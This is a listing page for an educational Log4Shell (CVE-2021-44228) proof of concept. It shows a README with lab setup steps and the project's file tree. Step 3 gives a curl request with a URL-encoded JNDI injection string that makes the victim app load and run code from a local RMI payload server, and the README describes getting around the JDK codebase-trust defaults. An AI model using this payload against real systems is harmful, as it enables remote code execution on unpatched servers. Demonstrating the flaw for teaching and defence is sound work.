CVE-2021-44228 PoC — Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints

Source

Associated Vulnerability

Description

A bare minimum proof-of-concept for Log4j2 JNDI RCE vulnerability (CVE-2021-44228/Log4Shell).

Readme

# Log4j2 RCE Vulnerability POC

A bare minimum proof-of-concept for Log4j2 JNDI Remote-Code-Execution vulnerability ([CVE-2021-44228][]). This is
intended for educational purposes to help people who are not security researchers to understand how it works and how
large the impact is.

The POC bypasses the requirement for setting `com.sun.jndi.rmi.object.trustURLCodebase`
and `com.sun.jndi.cosnaming.object.trustURLCodebase` properties to `true`
which [were disabled by default since 8u121, 7u131, 6u141](https://www.oracle.com/java/technologies/javase/8u121-relnotes.html)
.

## Prerequisites

- JDK 1.8

Note: JDK 1.8 is required for `payload-server` to compile, but the `victim-app` is vulnerable up until JDK 15
because [the Nashorn engine was removed in JDK 15][].

## To Test

1. Start the `payload-server` by running:

```console
$ ./gradlew runPayloadServer
```

2. Open a new terminal session then start the `victim-app`:

```console
$ ./gradlew runVictimApp
```

3. Run `curl http://localhost:8080/hello?name=%24%7Bjndi%3Armi%3A%2F%2F127.0.0.1%3A8099%2Fexec%7D` to trigger the RCE.
4. To proof the remote code has been executed, check the console log of `victim-app`. You should see an unintended log
   has been printed on the screen.

[CVE-2021-44228]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228

[the Nashorn engine was removed in JDK 15]: https://openjdk.java.net/jeps/372

File Snapshot

 [4.0K]  /data/pocs/f33e0aa428d118881c9941f18741174838265130
├── [ 187]  build.gradle.kts
├── [4.0K]  gradle
│   └── [4.0K]  wrapper
│       ├── [ 58K]  gradle-wrapper.jar
│       └── [ 202]  gradle-wrapper.properties
├── [  27]  gradle.properties
├── [7.9K]  gradlew
├── [2.6K]  gradlew.bat
├── [4.0K]  payload-server
│   ├── [ 679]  build.gradle.kts
│   └── [4.0K]  src
│       └── [4.0K]  main
│           └── [4.0K]  kotlin
│               └── [1.0K]  Main.kt
├── [1.4K]  README.md
├── [  89]  request.http
├── [  88]  settings.gradle.kts
└── [4.0K]  victim-app
    ├── [ 649]  build.gradle.kts
    └── [4.0K]  src
        └── [4.0K]  main
            └── [4.0K]  java
                └── [4.0K]  com
                    └── [4.0K]  example
                        └── [4.0K]  log4j2
                            ├── [ 579]  HelloController.java
                            └── [ 596]  VictimApplication.java

13 directories, 14 files

Remarks